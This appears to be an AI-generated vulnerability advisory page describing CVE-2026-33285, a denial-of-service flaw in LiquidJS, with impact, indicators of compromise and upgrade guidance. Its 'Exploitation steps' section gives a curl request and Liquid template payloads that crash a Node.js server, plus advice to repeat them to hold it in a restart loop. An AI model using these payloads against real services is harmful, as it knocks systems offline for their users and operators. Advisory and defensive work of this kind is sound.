CVE-2026-33285: 
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-33285 is a denial-of-service vulnerability in LiquidJS (npm) caused by a memoryLimit bypass through negative range values, leading to a Node.js process crash. It affects all LiquidJS versions up to and including 10.24.0 for Node.js. The vulnerability was published on March 25, 2026, with a patch released on March 30, 2026. It carries a CVSS v3.1 base score of 7.5 (High) (GitHub Advisory, LiquidJS Security Advisory).

Technical details

The root cause is improper input validation (CWE-20) combined with uncontrolled resource consumption (CWE-400) in LiquidJS's memory limiter. When evaluating a reverse range token (e.g., (100000000..1)), src/render/expression.ts calls ctx.memoryLimit.use(high - low + 1), which yields a large negative value. The Limiter.use() method in src/util/limiter.ts does not validate that the count parameter is non-negative, so it adds the negative value to the internal counter, driving it deeply negative and causing all subsequent memory limit checks to pass. An attacker then exploits V8's cons-string optimization: repeating {% assign s = s | append: s %} 27 times builds a 134MB logical string with negligible real memory, but applying a replace filter forces V8 to flatten the cons-string into a ~268MB contiguous buffer, triggering a C++-level Fatal JavaScript invalid size error that cannot be caught by any JavaScript error handler and immediately terminates the Node.js process (GitHub Advisory, LiquidJS Security Advisory).

Impact

Successful exploitation results in a complete, service-wide denial of service: the entire Node.js process terminates (exit code 133/SIGTRAP), dropping all in-flight requests simultaneously. The attack requires only a single ~400-byte HTTP request and bypasses all JavaScript-level error handling, including try-catch, process.on('uncaughtException'), and domain handlers. Even with container restart policies (Docker restart: always, Kubernetes liveness probes), repeated payloads can keep the service in a perpetual restart loop, causing sustained unavailability. There is no confidentiality or integrity impact (GitHub Advisory).

Exploitability

A detailed proof-of-concept (PoC) is publicly available in the GitHub security advisory, including both a standalone Node.js script and concrete curl commands targeting a live template rendering endpoint (LiquidJS Security Advisory). No privileges are required, and the attack is network-accessible with low complexity. The EPSS score is approximately 0.044% (0.122% per the advisory's FIRST data), indicating a currently low but non-trivial exploitation probability. There is no evidence of in-the-wild exploitation or threat actor attribution at this time, and the vulnerability is not listed in the CISA KEV catalog (GitHub Advisory).

Exploitation steps

  1. Identify target: Locate a web application or SaaS platform that uses LiquidJS (≤ 10.24.0) to render user-supplied templates — common in CMS preview endpoints, email template editors, or newsletter platforms. Look for HTTP endpoints that accept a template parameter in JSON.
  2. Confirm memoryLimit is configured: Verify the target has memoryLimit enabled (this is the security control being bypassed). A baseline request with a large allocation attempt (e.g., 27 iterations of append) should return a memory alloc limit exceeded error if the limit is active.
  3. Drive the memory counter negative: Send reverse range loops in the template to underflow the internal limiter counter. Five iterations of {% for x in (100000000..1) %}{% endfor %} drive the budget to approximately -500 million:
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{% for x in (100000000..1) %}{% endfor %}...x5..."}'
  1. Build a large cons-string: Append the following to the payload to construct a 134MB logical string via V8 cons-string optimization (negligible real memory used):
{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}
  1. Trigger V8 fatal error: Apply the replace filter to force V8 to flatten the cons-string into a ~268MB contiguous buffer, triggering an uncatchable C++-level fatal error:
{% assign flat = s | replace: 'A', 'B' %}{{ flat | size }}
  1. Observe process crash: The server connection drops immediately. The Node.js process exits with code 133 (SIGTRAP). All in-flight requests are terminated. Repeat the request to keep the service in a restart loop (LiquidJS Security Advisory).

Indicators of compromise

  • Network: Repeated HTTP POST requests to template rendering endpoints (e.g., /render, /preview, /template) containing Liquid syntax with reverse range patterns such as (100000000..1); connections that drop abruptly without a response (server-side crash).
  • Logs: Node.js process logs showing Fatal JavaScript invalid size error 134217729 or Fatal error in , line 0; application logs showing sudden termination with no preceding JavaScript exception.
  • Process: Node.js process exiting with code 133 or signal SIGTRAP; container or process supervisor logs showing unexpected restarts of the LiquidJS-based service.
  • File System: Core dump files (if enabled) generated by the Node.js process at the time of crash, potentially containing the malicious template payload in memory (LiquidJS Security Advisory).

Mitigation and workarounds

Upgrade LiquidJS to version 10.25.1 or later, which fixes the Limiter.use() and Limiter.check() methods to ignore non-positive count values, preventing the counter from going negative (Patch Commit). As interim mitigations: restrict template content creation to trusted, authenticated users only; implement rate limiting on template rendering endpoints to reduce the impact of repeated crash attempts; and set up monitoring and alerting on Node.js process crashes to detect active exploitation. Note that container restart policies alone (Docker restart: always, Kubernetes liveness probes) do not prevent exploitation, as repeated payloads can sustain a restart loop (GitHub Advisory).

Community reactions

The vulnerability was reported by security researcher koDove and published by the LiquidJS maintainer (harttle) on March 25, 2026. The advisory was noted on Mastodon by The Hacker Wire and picked up by several vulnerability tracking services including VulDB, INCIBE-CERT, and Red Hat's CVE tracker. No major vendor statements beyond the maintainer's advisory and patch have been identified.

Additional resources


Source: This report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-966w-4vpf-p7hcHIGH7.1
  • JavaScript logoJavaScript
  • @aloma.io/aloma
NoYesOct 25, 2026
GHSA-mrwp-f3q8-3g9pMEDIUM5.9
  • JavaScript logoJavaScript
  • follow-redirects
NoYesOct 25, 2026
GHSA-hfm3-x63j-7fxpHIGHN/A
  • JavaScript logoJavaScript
  • @payload-auth-link/migrate
NoYesOct 25, 2026
GHSA-6244-vvv9-76f5MEDIUMN/A
  • JavaScript logoJavaScript
  • @payload-auth-link/plugin
NoYesOct 25, 2026
GHSA-q53q-qg98-p9jfHIGHN/A
  • JavaScript logoJavaScript
  • llm-fw
NoYesOct 25, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management